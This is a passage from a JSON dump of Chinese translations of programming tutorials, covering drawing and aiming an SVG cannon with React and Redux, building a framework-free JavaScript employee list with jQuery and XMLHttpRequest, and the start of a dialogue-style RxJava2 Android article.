`Ground` 组件来使用这个新常量。\n\n结束这节后，可别忘了往您的画布里添加 `Groud` 组件（记得要放在 `Sky` 组件和 `Circle`组件之间）。[如果您对于最后的这些步骤有什么疑问，请在这里给我留言](https://github.com/auth0-blog/aliens-go-home-part-1/commit/f453eb5147821f0289ecd81b8ae8deb0b7941f0e).\n\n### 创建 Cannon 组件\n\n现在您的游戏了已经有了 sky 组件和 ground 组件了。接下来，您将添加一些更加有趣的东西。也许，是时候让您的 cannon 组件登场了。这些组件会比其它的两个组件要复杂些。它们将会有更多行代码，这是由于您将要用三次贝塞尔曲线来绘制它们。\n\n您可能还记得，在 SVG 上定义三次贝塞尔曲线需要四个点：起点，终点以及两个控制点。这些点在 `path` 元素上的 `d` 属性里定义，就像这样：`M 20 20 C 20 110, 110 110, 110 20`。\n\n为了避免重复您可在代码里使用 [模板字符串](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals) 来创建这些曲线，您可以在 `./src/utils/` 目录下创建一个名为 `formulas.js` 的文件，并定义一个传入某些参数就会返回这些字符串的函数：\n\n```JavaScript\nexport const pathFromBezierCurve = (cubicBezierCurve) => {\n  const {\n    initialAxis, initialControlPoint, endingControlPoint, endingAxis,\n  } = cubicBezierCurve;\n  return `\n    M${initialAxis.x} ${initialAxis.y}\n    c ${initialControlPoint.x} ${initialControlPoint.y}\n    ${endingControlPoint.x} ${endingControlPoint.y}\n    ${endingAxis.x} ${endingAxis.y}\n  `;\n};\n```\n\n这段代码十分简单，它先从 `cubicBezierCurve` 中提取（`initialAxis`，`initialControlPoint`，`endingControlPoint`，`endingAxis`）接着将它们传入到构建三次贝塞尔曲线的模板字符串中。\n\n有了这个文件，您就可以构建您的炮台了。为了让事情更有条理，您需要把您的炮台分为两部分： `CannonBase` 和 `CannonPipe`。\n\n要定义 `CannonBase`，需在 `./src/components` 目录下创建 `CannonBase.jsx` 文件并添加如下代码：\n\n```JavaScript\nimport React from 'react';\nimport { pathFromBezierCurve } from '../utils/formulas';\n\nconst CannonBase = (props) => {\n  const cannonBaseStyle = {\n    fill: '#a16012',\n    stroke: '#75450e',\n    strokeWidth: '2px',\n  };\n\n  const baseWith = 80;\n  const halfBase = 40;\n  const height = 60;\n  const negativeHeight = height * -1;\n\n  const cubicBezierCurve = {\n    initialAxis: {\n      x: -halfBase,\n      y: height,\n    },\n    initialControlPoint: {\n      x: 20,\n      y: negativeHeight,\n    },\n    endingControlPoint: {\n      x: 60,\n      y: negativeHeight,\n    },\n    endingAxis: {\n      x: baseWith,\n      y: 0,\n    },\n  };\n\n  return (\n    <g>\n      <path\n        style={cannonBaseStyle}\n        d={pathFromBezierCurve(cubicBezierCurve)}\n      />\n      <line\n        x1={-halfBase}\n        y1={height}\n        x2={halfBase}\n        y2={height}\n        style={cannonBaseStyle}\n      />\n    </g>\n  );\n};\n\nexport default CannonBase;\n```\n\n除了三次贝塞尔曲线，这个组件没有其他新意。最后，浏览器会渲染出一个带有深棕色的曲线和亮棕色背景的元素。\n\n创建 `CannonPipe` 的代码将会类似于 `CannonBase`。不同之处在于它将使用其他颜色，并用其他的坐标点来传 `pathFromBezierCurve` 函数来绘制炮管。另外，这个组件还会使用 [transform](https://developer.mozilla.org/en-US/docs/Web/SVG/Attribute/transform) 属性来模拟炮台的旋转。\n\n为了创建这个组件，`./src/components/` 目录下创建 `CannonPipe.jsx` 文件并添加如下代码：\n\n```JavaScript\nimport React from 'react';\nimport PropTypes from 'prop-types';\nimport { pathFromBezierCurve } from '../utils/formulas';\n\nconst CannonPipe = (props) => {\n  const cannonPipeStyle = {\n    fill: '#999',\n    stroke: '#666',\n    strokeWidth: '2px',\n  };\n  const transform = `rotate(${props.rotation}, 0, 0)`;\n\n  const muzzleWidth = 40;\n  const halfMuzzle = 20;\n  const height = 100;\n  const yBasis = 70;\n\n  const cubicBezierCurve = {\n    initialAxis: {\n      x: -halfMuzzle,\n      y: -yBasis,\n    },\n    initialControlPoint: {\n      x: -40,\n      y: height * 1.7,\n    },\n    endingControlPoint: {\n      x: 80,\n      y: height * 1.7,\n    },\n    endingAxis: {\n      x: muzzleWidth,\n      y: 0,\n    },\n  };\n\n  return (\n    <g transform={transform}>\n      <path\n        style={cannonPipeStyle}\n        d={pathFromBezierCurve(cubicBezierCurve)}\n      />\n      <line\n        x1={-halfMuzzle}\n        y1={-yBasis}\n        x2={halfMuzzle}\n        y2={-yBasis}\n        style={cannonPipeStyle}\n      />\n    </g>\n  );\n};\n\nCannonPipe.propTypes = {\n  rotation: PropTypes.number.isRequired,\n};\n\nexport default CannonPipe;\n```\n\n之后，从您的画布中移除 `circle` 组件并用 `CannonBase` 和 `CannonPipe` 来替代它。这是重构之后的代码：\n\n```JavaScript\nimport React from 'react';\nimport Sky from './Sky';\nimport Ground from './Ground';\nimport CannonBase from './CannonBase';\nimport CannonPipe from './CannonPipe';\n\nconst Canvas = () => {\n  const viewBox = [window.innerWidth / -2, 100 - window.innerHeight, window.innerWidth, window.innerHeight];\n  return (\n    <svg\n      id=\"aliens-go-home-canvas\"\n      preserveAspectRatio=\"xMaxYMax none\"\n      viewBox={viewBox}\n    >\n      <Sky />\n      <Ground />\n      <CannonPipe rotation={45} />\n      <CannonBase />\n    </svg>\n  );\n};\n\nexport default Canvas;\n```\n\n检查并运行您的应用，您将看到如下矢量图所呈现的画面：\n\n![Drawing SVG elements with React and Redux ](https://cdn.auth0.com/blog/aliens-go-home/cannon-react-component.png)\n\n### 让 Cannon 能够瞄准\n\n您的游戏越来越完善了。您已经给游戏添加了背景元素（`Sky` 和 `Ground`）和炮台。现在的问题是所有东西都是死的。所以，为了让事情变得更有趣，您要专注于完成炮台的瞄准功能。为此，您要给您的画布添加 `onmousemove` 时间监听器并在每次触发是刷新它（即，每次用户移动鼠标的时候），但这会降低您的游戏性能。\n\n为了解决这种状况，您需要设置一个 [固定的间隔](https://developer.mozilla.org/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval) 来检查最后一个鼠标的位置，以调整您的 `CannonPipe` 的角度。这个策略里您将继续使用 `onmousemove` 时间监听器，不同的是这些事件不会一直触发重新渲染。它们只将更新游戏中的一个属性，然后间隔地使用这个属性来触发重新选择（通过更新 Redux store）。\n\n这是您第一次要用 Redux 的 **action** 来更新应用程序的状态（或者是说炮台的角度）。像这样，您需要在 `./src/` 目录下创建 `actions` 的新目录。在新目录里，您需要创建 `index.js` 文件并添加如下代码：\n\n```JavaScript\nexport const MOVE_OBJECTS = 'MOVE_OBJECTS';\n\nexport const moveObjects = mousePosition => ({\n  type: MOVE_OBJECTS,\n  mousePosition,\n});\n```\n\n> **注意：** 您将调用 `MOVE_OBJECTS` 这个指令因为您不仅会用它来更新炮台。在 [本系列的下个教程里](https://auth0.com/blog/developing-games-with-react-redux-and-svg-part-2/)，您还将使用同样的指令来移动炮弹和飞碟。\n\n在定义完 Redux action 后，您将重构您的 reducer（`./src/reducers/` 中的 `index.js` 文件）来处理它：\n\n```JavaScript\nimport { MOVE_OBJECTS } from '../actions';\nimport moveObjects from './moveObjects';\n\nconst initialState = {\n  angle: 45,\n};\n\nfunction reducer(state = initialState, action) {\n  switch (action.type) {\n    case MOVE_OBJECTS:\n      return moveObjects(state, action);\n    default:\n      return state;\n  }\n}\n\nexport default reducer;\n```\n\n这个文件的新版本执行一个 action，如果 `type` 是 `MOVE_OBJECTS`, 它将调用 `moveObjects` 函数。需要注意的是，在定义该函数之前，您还需要在新版本里定义应用的初始化状态，它包含了值为 `45` 的 `angle` 属性。这定义了您应用程序里炮台的初始瞄准角度。\n\n如您所见，`moveObjects` 函数就是一个 **reducer**。您将会在新文件里定义这个函数因为您将会有大量的 `reducer` 而您希望更好的管理和维护它们。因此，在 `./src/reducers/` 目录里创建 `moveObjects.js` 文件并添加如下代码：\n\n```JavaScript\nimport { calculateAngle } from '../utils/formulas';\n\nfunction moveObjects(state, action) {\n  if (!action.mousePosition) return state;\n  const { x, y } = action.mousePosition;\n  const angle = calculateAngle(0, 0, x, y);\n  return {\n    ...state,\n    angle,\n  };\n}\n\nexport default moveObjects;\n```\n\n这段代码很简单，它只是从 `mousePosition` 中获取 `x` 和 `y` 属性，并把它们传给 `calculateAngle` 函数来获取新的 `angle`。最后，会用新的 angle 来生成新的 state。\n\n现在，您可能已经发现您还没有在 `formulas.js` 文件中定义 `calculateAngle` 函数，对吗？关于如何用两个点来算出需要的角度已经超出了本章的讨论范围，如果您感兴趣的话，可以查阅 [StackExchange 上的这个问题](https://math.stackexchange.com/questions/714378/find-the-angle-that-creating-with-y-axis-in-degrees) 来理解其背后究竟发生了什么。最后，您需要在 `formulas.js`  文件（`./src/utils/formulas`）里添加如下函数：\n\n```JavaScript\nexport const radiansToDegrees = radians => ((radians * 180) / Math.PI);\n\n// https://math.stackexchange.com/questions/714378/find-the-angle-that-creating-with-y-axis-in-degrees\nexport const calculateAngle = (x1, y1, x2, y2) => {\n  if (x2 >= 0 && y2 >= 0) {\n    return 90;\n  } else if (x2 < 0 && y2 >= 0) {\n    return -90;\n  }\n\n  const dividend = x2 - x1;\n  const divisor = y2 - y1;\n  const quotient = dividend / divisor;\n  return radiansToDegrees(Math.atan(quotient)) * -1;\n};\n```\n\n> **注意：** 由 JavaScript 的 `Math` 对象提供的 `atan` 函数来算出一个弧度值。您将需要把这个值转换为度数。这就是您为什么要定义（和使用）`radiansToDegrees` 函数的原因。\n\n在之后新定义的 action 和 reducer 里，您将会继续用到这个函数。但您的游戏依赖于 Redux 来管理它的状态时，您需要将 `moveObjects` 映射到您 `App` 的 `props` 里。您将重构 `Game` 容器来完成这些操作。因此，打开 `Game.js` 文件（`./src/containers`）并替换成如下代码：\n\n```JavaScript\nimport { connect } from 'react-redux';\n\nimport App from '../App';\nimport { moveObjects } from '../actions/index';\n\nconst mapStateToProps = state => ({\n  angle: state.angle,\n});\n\nconst mapDispatchToProps = dispatch => ({\n  moveObjects: (mousePosition) => {\n    dispatch(moveObjects(mousePosition));\n  },\n});\n\nconst Game = connect(\n  mapStateToProps,\n  mapDispatchToProps,\n)(App);\n\nexport default Game;\n```\n\n有了这些映射以后，您只需要把精力放在如何在 `App` 组件里使用它们。所以，打开 `App.js` 文件（在 `./src/` 目录下）并替换成如下代码：\n\n```JavaScript\nimport React, {Component} from 'react';\nimport PropTypes from 'prop-types';\nimport { getCanvasPosition } from './utils/formulas';\nimport Canvas from './components/Canvas';\n\nclass App extends Component {\n  componentDidMount() {\n    const self = this;\n    setInterval(() => {\n        self.props.moveObjects(self.canvasMousePosition);\n    }, 10);\n  }\n\n  trackMouse(event) {\n    this.canvasMousePosition = getCanvasPosition(event);\n  }\n\n  render() {\n    return (\n      <Canvas\n        angle={this.props.angle}\n        trackMouse={event => (this.trackMouse(event))}\n      />\n    );\n  }\n}\n\nApp.propTypes = {\n  angle: PropTypes.number.isRequired,\n  moveObjects: PropTypes.func.isRequired,\n};\n\nexport default App;\n```\n\n您会发现我们对这个新版本做了很多修改。总结如下：\n\n*   `componentDidMount`: 您定义了 [生命周期方法](https://reactjs.org/docs/react-component.html#componentdidmount) 来间断地触发 `moveObjects` 指令。\n*   `trackMouse`: 您定义了这个方法用来更新 `App` 组件的 `canvasMousePosition` 属性。这个属性受控于 `moveObjects` 指令。注意这个属性获取的不是 HTML 文档上的鼠标位置。[而是引用您画布里的相对位置](https://stackoverflow.com/questions/10298658/mouse-position-inside-autoscaled-svg)。您将在稍后定义 `canvasMousePosition` 函数。\n*   `render`: 现在这个方法会把 `angle` 属性和 `trackMouse` 方法传入到 `Canvas` 组件里。这个组件将使用更新 `angle` 方式来渲染您的 cannon 组件并将 `trackMouse` 作为事件监听器添加到 `svg` 元素上。稍后您将更新这个组件。\n*   `App.propTypes`: 现在您在这里定义了两个属性，`angle` 和 `moveObjects`。首先是 `angle` 属性，它是用来定义您的炮台的瞄准角度度。其次是 `moveObjects` 函数，它将每隔一段时间更新您的 cannon 组件。\n\n现在已经更新完了 `App` 组件，接下来您需要往 `formulas.js` 文件里添加如下代码：\n\n```JavaScript\nexport const getCanvasPosition = (event) => {\n  // mouse position on auto-scaling canvas\n  // https://stackoverflow.com/a/10298843/1232793\n\n  const svg = document.getElementById('aliens-go-home-canvas');\n  const point = svg.createSVGPoint();\n\n  point.x = event.clientX;\n  point.y = event.clientY;\n  const { x, y } = point.matrixTransform(svg.getScreenCTM().inverse());\n  return {x, y};\n};\n```\n\n如果您对为什么需要它感兴趣，[在 StackOverflow 上您会找的答案](https://stackoverflow.com/a/10298843/1232793)。\n\n最后一步是更新您的 `Canvas` 组件来使您的炮台能够瞄准。打开 `Canvas.jsx` 文件（在 `./src/components` 里）并替换成如下内容：\n\n```JavaScript\nimport React from 'react';\nimport PropTypes from 'prop-types';\nimport Sky from './Sky';\nimport Ground from './Ground';\nimport CannonBase from './CannonBase';\nimport CannonPipe from './CannonPipe';\n\nconst Canvas = (props) => {\n  const viewBox = [window.innerWidth / -2, 100 - window.innerHeight, window.innerWidth, window.innerHeight];\n  return (\n    <svg\n      id=\"aliens-go-home-canvas\"\n      preserveAspectRatio=\"xMaxYMax none\"\n      onMouseMove={props.trackMouse}\n      viewBox={viewBox}\n    >\n      <Sky />\n      <Ground />\n      <CannonPipe rotation={props.angle} />\n      <CannonBase />\n    </svg>\n  );\n};\n\nCanvas.propTypes = {\n  angle: PropTypes.number.isRequired,\n  trackMouse: PropTypes.func.isRequired,\n};\n\nexport default Canvas;\n```\n\n当前版本和上一个版本的区别有：\n\n*   `CannonPipe.rotation`：这个属性不再是写死的了。现在，它被绑定到 Redux store 所提供的状态里（通过 `App` 映射）。\n*   `svg.onMouseMove`：您会将此事件监听器添加到画布中，以使得 `App` 组件能感知到鼠标的位置。\n*   `Canvas.propTypes`：您会明确地为该组件定义它需要 `angle` 和 `trackMouse` 属性。\n\n就这样！您应该准备好来预览您炮台的瞄准功能。 切换到 terminal，并在项目的根目录运行 `npm start` （如果它还没有运行）。 然后，在浏览器里打开 [http://localhost:3000/](http://localhost:3000/) 并移动鼠标。您的炮台将跟随鼠标旋转起来。\n\n多有趣啊！？\n\n> [“我用 React, Redux 和 SVG 创建了一个可以瞄准的炮台。这多有趣啊！？” 在这里 tweet 我们 ![](https://cdn.auth0.com/blog/resources/twitter.svg)](https://twitter.com/intent/tweet?text=\"I+have+created+an+animated+cannon+with+React%2C+Redux%2C+and+SVG%21+How+fun+is+that%21%3F\"%20via%20@auth0%20http://auth0.com/blog/developing-games-with-react-redux-and-svg-part-1/)\n\n## 总结和下一步\n\n在本系列的第一部分，您学习了一些重要的主题，它将帮助您创建一个完整游戏。您也使用了 `create-react-app` 来创建您的项目并创建了一些游戏元素，如炮台、天空和大地。最后，您给炮台添加了瞄准功能。有了这些元素，您就能其他的 React 组件并让他们动起来。\n\n[在本系列的下篇文章中](https://auth0.com/blog/developing-games-with-react-redux-and-svg-part-2/)，您将再创造一些组件，来让一些飞碟随机出现在预定的位置。之后，您将使您的炮台能够发射一些炮弹。这实在令人激动！\n\n请保持关注！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n\n"
  },
  {
    "path": "TODO/developing-small-javascript-components-without-frameworks.md",
    "content": ">* 原文链接 : [Developing small JavaScript components WITHOUT frameworks](https://jack.ofspades.com/developing-small-javascript-components-without-frameworks/)\n* 原文作者 : [Jack Tarantino](https://github.com/jacopotarantino)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [L9m](https://github.com/L9m/)\n* 校对者: [wild-flame](https://github.com/wild-flame), [hikerpig](https://github.com/hikerpig)\n\n# 怎样在不使用框架的基础上开发一个 Javascript 组件\n\n许多开发者（包括我）犯的一个错误是当遇到问题时他们总是自上而下地考虑问题。他们想问题的时候，总是从考虑框架（Framework），插件（Plugin），预处理器（Pre-processors），后处理器（Post-processors），面向对象模式（objected-oriented patterns）等等这些方面出发，他们也可能会从他们以前看过的一篇文章来考虑。而这时如果有一个生成器（Generator）的话，他们当然也愿意使用生成器提供的脚手架（Scaffold）来解决这样的问题。但是随着使用所有这些优秀的工具和强大的插件，我们往往忽略了，我们到底要构建什么，以及我们为什么要构建。在大多数场景下，我们实际上并不需要 _任何_  的这些框架！我们在 _没有_ 使用任何 JavaScript 框架和工具的情况下构建了一个简单组件实例。这篇文章给想给那些中高级程序员提个醒，其实不用框架和膨胀软件（Bloatware）也可以做事。当然，这里的经验和代码示例对初级工程师们来说也是易懂和实用的。\n\n我们要建立一个公司员工列表（通常我说的是一个最近推文或某事的列表但他们现在需要你建立一个应用访问他们的 API，挺复杂的）。我们的产品经理想要在公司网站首页上放上最近员工的列表，并且要做到自动更新。这个列表要包括新员工的照片，名字，所在城市等信息。没什么夸张的，对吧？那么，在目前情况下，比方说公司首页是和其他代码库是分开的，而且它已经用 jQuery 做了几个动画效果。那么，这是我们的假设：\n\n*   一个半自动更新列表\n*   单页面\n*   你是这个项目唯一的开发者\n*   时间和资源都是无限的\n*   这个页面上已经用了 jQuery\n\n所以你从何处下手呢？你是否立即要用 Angular ？因为你知道你不花时间使用一个 `$scope.employees` 和 `ng-repeat` 。你是否要用 React ？因为它在列表中插入员工标签 **很快** 。亦或是切换到静态网页然后使用 Webpack？然后你就能用 Jade 写 HTML 用Sass 写 CSS ？因为说实话谁还会看原始的标签。不想骗你，最后一个对我 _真的_ 很有吸引力。但是我们真的需要它吗？正确的答案是 'no' 。这些东西并不能切实解决我们手上的问题。而且他们让软件栈方面变得更加令人困惑。想想如果下次另一个工程师，特别是初级工程师来接手这个项目；当另一个工程师只是做较小修改时，你并不想要他被这些花哨功能所困惑。所以，我们简单组件的代码是什么样的呢？\n\n    <ul class=\"employee-list js-employee-list\"></ul>  \n\n就是它。这就是我们所有开始的地方。你可能注意到我给这个 div 添加的第二个类是以 `js-` 开始的。如果你不熟悉这种模式的话，这样做是因为我想向以后的开发者表明这个组件与 JavaScript 关联。这种方式我们就能够区分 _只是_ 为 JS 做交互的类和 只是和 CSS 绑定的类。它能让重构更容易。现在，让我们最后让这个列表变得美观 _一点_ 。（读者注意：我可能是世界上最糟的设计师）。我更喜欢使用像一种 BEM 和 SMACSS 的 CSS 结构，但是为了这个例子更简洁，这些名称和结构就先这样保留吧：\n\n    * { box-sizing: border-box; }\n\n    .employee-list {\n      background: lavender;\n      padding: 2rem 0.5rem;\n      border: 1px solid royalblue;\n      border-radius: 0.5rem;\n      max-width: 320px;\n    }\n\n那么现在我给列表添加一些样式，虽然还没完成，但这是个过程。现在，增加一个示例员工：\n\n    <ul class=\"employee-list js-employee-list\">  \n      <li class=\"employee\">\n        <!--   占位图服务真是很好用   -->\n        <img src=\"http://placebeyonce.com/100-100\" alt=\"Photo of Beyoncé\" class=\"employee-photo\">\n        <div class=\"employee-name\">Beyoncé Knowles</div>\n        <div class=\"employee-location\">Santa Monica, CA</div>\n      </li>\n    </ul>  \n\n    .employee {\n      list-style: none;\n    }\n\n    .employee + .employee {\n      padding-top: 0.5rem;\n    }\n\n    .employee:after {\n      content: ' ';\n      height: 0;\n      display: block;\n      clear: both;\n    }\n\n    .employee-photo {\n      float: left;\n      padding: 0 0.5rem 0.5rem 0;\n    }\n\n棒极了！所以现在我们有一个拥有简单样式和布局的一个员工列表。那么，接下来是什么？员工的数量应该可能不只有一个。我们需要自动获取他们。我们来获取员工数据：\n\n    // 用一个 IIFE 包裹代码，从而使它们与其他代码隔离开。\n    (() => {\n      // 严格模式用来防止错误和确保 ES6 特性可用\n      'use strict'\n\n      // 我们使用 jQuery 的 ajax 方法确保代码简洁\n      // 从 randomuser.me 拉取数据 作为我们 'employee API' 的数据源\n      // （记住这是一个假的推文列表(a fake tweet list)）\n      $.ajax({\n        url: 'https://randomuser.me/api/',\n        dataType: 'json',\n        success: (data) => {\n          // 成功！我们得到数据！\n          alert(JSON.stringify(data))\n        }\n      })\n    })()\n\n很棒！我们获得了员工数据，其间没有依靠框架和复杂的预处理器，也没有花两小时争论要选用哪个脚手架工具。目前我们使用 `alert` 函数 来替代测试框架以确保数据符合我们的预期。现在，我们需要通过一些模版解析数据去插入到 `.employee-list` 中。所以 完成之后然后来制作模版：\n\n    $.ajax({\n      url: 'https://randomuser.me/api/',\n      // query string parameters to append\n      data: {\n        results: 3\n      },\n      dataType: 'json',\n      success: (data) => {\n          // 成功！我们获得数据！\n        let employee = `<li class=\"employee\">\n            <img src=\"${data.results[0].picture.thumbnail}\" alt=\"Photo of ${data.results[0].name.first}\" class=\"employee-photo\">\n            <div class=\"employee-name\">${data.results[0].name.first} ${data.results[0].name.last}</div>\n            <div class=\"employee-location\">${data.results[0].location.city}, ${data.results[0].location.state}</div>\n          </li>`\n          $('.js-employee-list').append(employee)\n        }\n      })\n\n好极了！现在我们有了一个获取用户的脚本，把用户插入模版中，然后将模版呈现在页面上。虽然有点马虎而且只能处理一个用户。现在到重构的时间了：\n\n    // 把员工信息转换成一块标签\n    function employee_markup (employee) {  \n      return `<li class=\"employee\">\n        <img src=\"${employee.picture.thumbnail}\" alt=\"Photo of ${employee.name.first}\" class=\"employee-photo\">\n        <div class=\"employee-name\">${employee.name.first} ${employee.name.last}</div>\n        <div class=\"employee-location\">${employee.location.city}, ${employee.location.state}</div>\n      </li>`\n    }\n\n    $.ajax({\n      url: 'https://randomuser.me/api/',\n      dataType: 'json',\n      // 查询字符串参数\n      data: {\n        results: 3\n      },\n      success: (data) => {\n        // 成功！ 我们获得了数据\n        let employees_markup = ''\n        data.results.forEach((employee) => {\n          employees_markup += employee_markup(employee)\n        })\n        $('.js-employee-list').append(employees_markup)\n      }\n    })\n\n现在你得到了！一个没有使用框架和任何构建流程的功能完备的小 JavaScript 组件。包含注释在内它只有 66 行代码并且完全可以扩展添加一个动画，连接，分析，之类的功能。查看以下完成的组件：\n\n<iframe height='266' scrolling='no' src='//codepen.io/jacopotarantino/embed/MyGVOv/?height=266&theme-id=0&default-tab=js,result&embed-version=2' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'>See the Pen <a href='http://codepen.io/jacopotarantino/pen/MyGVOv/'>MyGVOv</a> by jacopotarantino (<a href='http://codepen.io/jacopotarantino'>@jacopotarantino</a>) on <a href='http://codepen.io'>CodePen</a>.\n</iframe>\n\n源代码 [MyGVOv](http://codepen.io/jacopotarantino/pen/MyGVOv/) 作者： jacopotarantino ([@jacopotarantino](http://codepen.io/jacopotarantino)) 在 [CodePen](http://codepen.io).\n\n现在，显然这只是一个非常非常简单的组件而且可能不能满足你特定项目的所有需求。如果你保持简单的想法，你能坚持无框架这个原则做到更多。或者，如果你的需求很多但复杂度较低，可以考虑像 Webpack 这样的构建工具。构建工具（在这个主题上）并不完全像 框架和插件它们那样完成事情。构建工具并不会在最后服务用户的代码中添加臃肿的东西，它只存在于你的工具箱中。因为我们的目标是从框架中剥离并为我们的使用者创造更好体验，和对自己来说则是创造更好管理的代码。Webpack 能处理大量繁杂的事务从而让你专注于更有意思的事。我在我的 [UI Component Generator](https://github.com/jacopotarantino/generator-ui-component) 用了它，其中还引入了非常小的框架和工具可以让你去写没有冗余的大量功能代码。当你不用 JavaScript 框架，事情可能很快变得\"原始\"而且代码可能变得令人困惑。所以，当你做这些组件时，要考虑一种代码结构并且坚持它。一致性是确保代码优雅的关键。\n\n记住，最重要的是你一定要测试和给你代码编写文档。\n“不写代码文档，等于没写” - [@mirisuzanne](https://twitter.com/mirisuzanne)\n\n## 彩蛋\n\n我做了一次标题党，而我使用了 jQuery。这只是为了简洁起见，我并不赞成使用 jQuery，你并不需要它。对于这些好奇，其实可以利用下面的原生代码来重写那些超级易懂的代码。\n\n### 原生 JavaScript 的 AJAX 请求\n\n不幸地这个代码没有任何简化，但你可以自己用相对少的代码来实现。\n\n    (() => {\n      'use strict'\n\n      // 创建一个新的 XMLHttpRequest。这是在无框架情况下使用 AJAX 的方法\n      const xhr = new XMLHttpRequest()\n      // 声明 HTTP 请求方法和地址\n      xhr.open('GET', 'https://randomuser.me/api/?results=3')\n      // in a GET request what you send doesn't matter GET 请求\n      // in a POST request this is the request body\n      xhr.send(null)\n\n      // 等待 'readystatechange' 状态改变去触发 xhr 对象\n      xhr.onreadystatechange = function () {\n        //等待 xhr 成功成功返回\n        if (xhr.readyState !== 4 ) { return }\n        // 非 200 状态时输出错误信息\n        if (xhr.status !== 200) { return console.log('Error: ' + xhr.status) }\n\n        // 一切正常！输出响应\n        console.log(xhr.responseText)\n      }\n    })()\n\n### 用原生 JavaScript 进行 DOM 插入\n\n现在浏览器们基本接受了 jQuery 的选择器，这个超级简单。\n\n    (() => {\n      'use strict'\n\n      const employee_list = document.querySelector('.js-employee-list')\n      const employees_markup = `\n        <li class=\"employee\"></li>\n        <li class=\"employee\"></li>\n        <li class=\"employee\"></li>\n      `\n      employee_list.innerHTML = employees_markup\n    })()\n\n就这么简单！\n\n### 没有采用 ES6 特性\n\n除非是的你工作需要，否则我真的不推荐回退到 ES5，下面这些是 ES6 可以代替的。\n\n#### 字符串插值\n\n用 ``Photo of ${employee}.`` 替换所有的 `'Photo of ' + employee + '.'`\n\n#### `let` 和 `const`\n\n这个例子中的 `var` 关键字都可以用  `let` 和 `const` 关键字替代，但你自己代码你要当心。\n\n#### 箭头函数\n\n用 `(employee) => {` 替换 `function (employee) {` 。 再提醒一次，这个例子中代码可以被替代，但是你自己的代码你要当心。`let`， `const`，和箭头函数和 `var` 和 `function` 的作用域不同，并且如果你的代码马虎，没有结构化，在它们之间切换可能会破坏你的代码。\n\n\n"
  },
  {
    "path": "TODO/dialogue-rx-observable-developer-android-rxjava2-hell-part5.md",
    "content": "> * 原文地址：[Dialogue between Rx Observable and a Developer (Me) [ Android RxJava2 ] ( What the hell is this ) Part5](http://www.uwanttolearn.com/android/dialogue-rx-observable-developer-android-rxjava2-hell-part5/)\n> * 原文作者：[Hafiz Waleed Hussain](http://www.uwanttolearn.com/author/admin/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[龙骑将杨影枫](https://github.com/stormrabbit)\n> * 校对者：[Phoenix](https://github.com/wbinarytree)、J[erryMissTom](https://github.com/JerryMissTom)\n\n\n## 开发者（也就是我）与Rx Observable 类的对话 [ Android RxJava2 ] ( 这到底是什么？) 第五部分 ##\n\n又是新的一天，是时候学点新东来西来让今天变得酷炫了🙂。\n\n大家好，希望你们都过的不错。这是我们 RxJava2 Android 系列的第五篇文章 [ [part1](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md), [part2](https://github.com/xitu/gold-miner/blob/master/TODO/pull-vs-push-imperative-vs-reactive-reactive-programming-android-rxjava2-hell-part2.md), [part3](https://github.com/xitu/gold-miner/blob/master/TODO/functional-interfaces-functional-programming-and-lambda-expressions-reactive-programming-android-rxjava2-what-the-hell-is-this-part3.md), [part4](https://github.com/xitu/gold-miner/blob/master/TODO/war-learning-curve-rx-java-2-java-8-stream-android-rxjava2-hell-part4.md) ] 。在这篇文章中，我们会继续研究 Rx Java Android 。\n\n**动机**：\n\n动机和我在第一部分 [part1](https://github.com/xitu/gold-miner/blob/master/TODO/reactive-programming-android-rxjava2-hell-part1.md) 中分享给大家的一样。现在我们把之前 4 篇学到的东西融会贯通起来。\n\n**介绍：**\n\n当我在学习 Rx java Android 的某一天，我有幸与一位 Rx Java 的 Observable 类进行了亲切友好的交谈。好消息是 Observable 类很厚道，令我惊叹不已。我一直以为 Rx Java 是个大坑逼。他/她不想和开发者做朋友，总给他们穿小鞋。\n但是在和 Observable 类谈话以后，我惊喜的发现我的观点是错的。\n\n我：你好，Observable 类，吃了嘛您？\n\nObservable 类：你好 Hafiz Waleed Hussain ，我吃过啦。\n\n\n我：为啥你的学习曲线这么陡峭？为啥你故意刁难开发者？你这么搞要没朋友了。\n\nObservable 类：哈哈，你说的是。我真想交很多朋友，不过我现在也有一些好哥们儿。他们在不同的论坛上讨论我，介绍我和我的能力。而且这些家伙真的很棒，他们花了很久的时间和我呆在一起。只有精诚所至，才会金石为开。但问题是，很多想撩我的人只走肾不走心。他们关注我了一小会就去刷推特脸书，把我给忘了。所以说，对我不真诚的人又如何指望我和他们交朋友呢？\n\n我：好吧，如果想和你交朋友的话，我该怎么做？\n\nObservable 类：把注意力集中在我身上，并且坚持足够长的时间，然后你就知道我有多真诚了。\n\n我：嗯，实话实说我不擅长集中精神，但是我擅长无视周围。这样可以嘛？\n\nObservable 类：当然，只要你和我在一起的时候可以心无旁骛，我会是你的好朋友的。\n\n我：哇哦，我有种预感，我会和你交上朋友的。\n\nObservable 类：当然，任何人都可以把我当好朋友。\n\n我：现在我有些问题，可以问了嘛？\n\nObservable 类：当然，你可以问成千上万个问题。我会给你答案，但是重要的是需要你自己花时间去思考和吸收。\n\n我：我会的。如果我想把数据转化为 Observable 对象，在 Rx Java 2 Android 里怎么实现？\n\nObservable 类：这个问题的答案很长很长。如果你来看我（Rx Java 2 Observable 类）的源码，你就会发现我一共有12904行代码。**（校对 wbinarytree 注：在 RxJava 2.0.9 版本。Observable 类已经成功增肥到 13728 